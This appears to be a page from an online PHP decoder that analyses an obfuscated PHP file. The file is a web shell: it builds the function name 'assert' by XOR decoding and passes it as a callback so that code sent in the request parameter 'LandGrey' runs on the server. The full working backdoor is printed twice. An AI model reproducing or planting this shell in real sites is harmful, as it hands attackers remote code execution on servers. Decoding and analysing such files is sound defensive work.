Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $password = "LandGrey"; $key = substr(__FILE__,-5,-4); ${"LandGrey"} = $key."Lan..

Decoded Output download

<?php 
$password = "LandGrey"; 
$key = substr(__FILE__,-5,-4); 
${"LandGrey"} =  $key."Land!"; 
$trick = array( 
    "0" => "51", "1" => "50", "2" => "53", "3" => "52", "4" => "55", "5" => "54", "6" => "57", "7" => "56", "8" => "59", 
    "9" => "58", "a" => "00", "b" => "03", "c" => "02", "d" => "05", "e" => "04", "f" => "07", "g" => "06", "h" => "09", 
    "i" => "08", "j" => "0b", "k" => "0a", "l" => "0d", "m" => "0c", "n" => "0f", "o" => "0e", "p" => "11", "q" => "10", 
    "r" => "13", "s" => "12", "t" => "15", "u" => "14", "v" => "17", "w" => "16", "x" => "19", "y" => "18", "z" => "1b", 
    "A" => "20", "B" => "23", "C" => "22", "D" => "25", "E" => "24", "F" => "27", "G" => "26", "H" => "29", "I" => "28", 
    "J" => "2b", "K" => "2a", "L" => "2d", "M" => "2c", "N" => "2f", "O" => "2e", "P" => "31", "Q" => "30", "R" => "33", 
    "S" => "32", "T" => "35", "U" => "34", "V" => "37", "W" => "36", "X" => "39", "Y" => "38", "Z" => "3b", 
); 
$f = pack("H*", $trick[$key]."3f120b1655") ^ $key."Land!"; 
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f); 
?>

Did this file decode correctly?

Original Code

<?php
$password = "LandGrey";
$key = substr(__FILE__,-5,-4);
${"LandGrey"} =  $key."Land!";
$trick = array(
    "0" => "51", "1" => "50", "2" => "53", "3" => "52", "4" => "55", "5" => "54", "6" => "57", "7" => "56", "8" => "59",
    "9" => "58", "a" => "00", "b" => "03", "c" => "02", "d" => "05", "e" => "04", "f" => "07", "g" => "06", "h" => "09",
    "i" => "08", "j" => "0b", "k" => "0a", "l" => "0d", "m" => "0c", "n" => "0f", "o" => "0e", "p" => "11", "q" => "10",
    "r" => "13", "s" => "12", "t" => "15", "u" => "14", "v" => "17", "w" => "16", "x" => "19", "y" => "18", "z" => "1b",
    "A" => "20", "B" => "23", "C" => "22", "D" => "25", "E" => "24", "F" => "27", "G" => "26", "H" => "29", "I" => "28",
    "J" => "2b", "K" => "2a", "L" => "2d", "M" => "2c", "N" => "2f", "O" => "2e", "P" => "31", "Q" => "30", "R" => "33",
    "S" => "32", "T" => "35", "U" => "34", "V" => "37", "W" => "36", "X" => "39", "Y" => "38", "Z" => "3b",
);
$f = pack("H*", $trick[$key]."3f120b1655") ^ $key."Land!";
array_intersect_uassoc (array($_REQUEST[$password] => ""), array(1), $f);
?>

Function Calls

pack 1
substr 1
array_intersect_uassoc 1

Variables

$f assert
$key x
$trick [{'key': '0', 'value': '51'}, {'key': '1', 'value': '50'}, {'key': '2', 'value': '53'}, {'key': '3', 'value': '52'}, {'key': '4', 'value': '55'}, {'key': '5', 'value': '54'}, {'key': '6', 'value': '57'}, {'key': '7', 'value': '56'}, {'key': '8', 'value': '59'}, {'key': '9', 'value': '58'}, {'key': 'a', 'value': '00'}, {'key': 'b', 'value': '03'}, {'key': 'c', 'value': '02'}, {'key': 'd', 'value': '05'}, {'key': 'e', 'value': '04'}, {'key': 'f', 'value': '07'}, {'key': 'g', 'value': '06'}, {'key': 'h', 'value': '09'}, {'key': 'i', 'value': '08'}, {'key': 'j', 'value': '0b'}, {'key': 'k', 'value': '0a'}, {'key': 'l', 'value': '0d'}, {'key': 'm', 'value': '0c'}, {'key': 'n', 'value': '0f'}, {'key': 'o', 'value': '0e'}, {'key': 'p', 'value': '11'}, {'key': 'q', 'value': '10'}, {'key': 'r', 'value': '13'}, {'key': 's', 'value': '12'}, {'key': 't', 'value': '15'}, {'key': 'u', 'value': '14'}, {'key': 'v', 'value': '17'}, {'key': 'w', 'value': '16'}, {'key': 'x', 'value': '19'}, {'key': 'y', 'value': '18'}, {'key': 'z', 'value': '1b'}, {'key': 'A', 'value': '20'}, {'key': 'B', 'value': '23'}, {'key': 'C', 'value': '22'}, {'key': 'D', 'value': '25'}, {'key': 'E', 'value': '24'}, {'key': 'F', 'value': '27'}, {'key': 'G', 'value': '26'}, {'key': 'H', 'value': '29'}, {'key': 'I', 'value': '28'}, {'key': 'J', 'value': '2b'}, {'key': 'K', 'value': '2a'}, {'key': 'L', 'value': '2d'}, {'key': 'M', 'value': '2c'}, {'key': 'N', 'value': '2f'}, {'key': 'O', 'value': '2e'}, {'key': 'P', 'value': '31'}, {'key': 'Q', 'value': '30'}, {'key': 'R', 'value': '33'}, {'key': 'S', 'value': '32'}, {'key': 'T', 'value': '35'}, {'key': 'U', 'value': '34'}, {'key': 'V', 'value': '37'}, {'key': 'W', 'value': '36'}, {'key': 'X', 'value': '39'}, {'key': 'Y', 'value': '38'}, {'key': 'Z', 'value': '3b'}]
LandGrey xLand!
$password LandGrey

Stats

MD5 e5dbe352683be2f18dc8ea184d062d9d
Eval Count 0
Decode Time 83 ms